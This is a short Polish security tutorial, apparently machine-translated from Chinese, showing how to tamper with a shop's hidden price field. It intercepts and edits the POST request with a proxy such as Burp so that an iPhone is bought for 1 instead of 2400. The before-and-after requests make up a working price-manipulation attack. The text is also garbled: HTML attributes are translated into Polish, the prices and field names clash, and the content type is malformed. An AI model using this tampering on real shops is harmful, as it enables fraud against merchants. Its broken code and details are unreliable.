Przenikanie włamań: Zastosowanie nagłówków HTTP

Admin · Opublikowano 07.02.2015 17:59:07

O zastosowaniu nagłówków HTTP

Nagłówek HTTP jest powszechnie używany w mechanizmie transmisji stron internetowych, ale większość początkujących w Chinach nie zauważyła tego fragmentu; ten artykuł jest poświęcony wyłącznie początkującym, a rolę nagłówka HTTP w procesie włamania.

Weźmy na przykład stronę zakupową, aby przeanalizować niewielką część roli nagłówków HTTP.

Najpierw przeanalizujmy formularz na stronie zakupowej.

<form method="post" action="shop.php?id=1">

prodct: iphone 4s <br />

price:2400 <br /> 

Quantity: <input type="text" name="gouwu"> (Maximum gouwu is 50) <br />

<typ wejścia="ukryta" nazwa="cena" wartość="449">

<typ wejścia="wyślij" wartość="Kup">

</form>

Podczas otwierania zrób zrzut ekranu nagłówka wiadomości HTTP i przyjrzyj się jej

POST /shop/2/shop.php?id=1 HTTP/1.1
Host: shop.net
Content-Type: application/x-www/form-urlencoded
Content-Length: 20

ilość=1&cena=2400

Chociaż pole cena nie jest wyświetlane na stronie przy otwieraniu strony zakupowej, użytkownik może je edytować i obsługiwać.

Są dwa sposoby na edycję

1. Zapisz kod źródłowy HTML do modyfikacji, a następnie wczytuj go ponownie do przeglądarki, aby uruchomić

2. Użycie przechwytu proxy do modyfikacji nagłówków HTTP (konstrukcja proxy w tool burp)

Weźmy powyższy nagłówek HTTP jako przykład
Przed zmianą
POST /shop/2/shop.php?id=1 HTTP/1.1
Host: shop.net
Content-Type: application/x-www/form-urlencoded
Content-Length: 20

ilość=1&cena=2400

Po zmianie
POST /shop/2/shop.php?id=1 HTTP/1.1
Host: shop.net
Content-Type: application/x-www/form-urlencoded
Content-Length: 20

ilość=1&cena=1

W ostatnim wierszu pole Cena ma wartość 2400, a jeśli zmienimy ją na 1, możemy dostać iPhone'a 4S w niższej cenie.

Ten artykuł daje jedynie wyobrażenie o nieoczekiwanych korzyściach, takich jak zastrzyk LDAP.

[Tutorial bezpieczeństwa] Przenikanie włamań: Zastosowanie nagłówków HTTP

Powiązane wpisy

Oglądane sekcje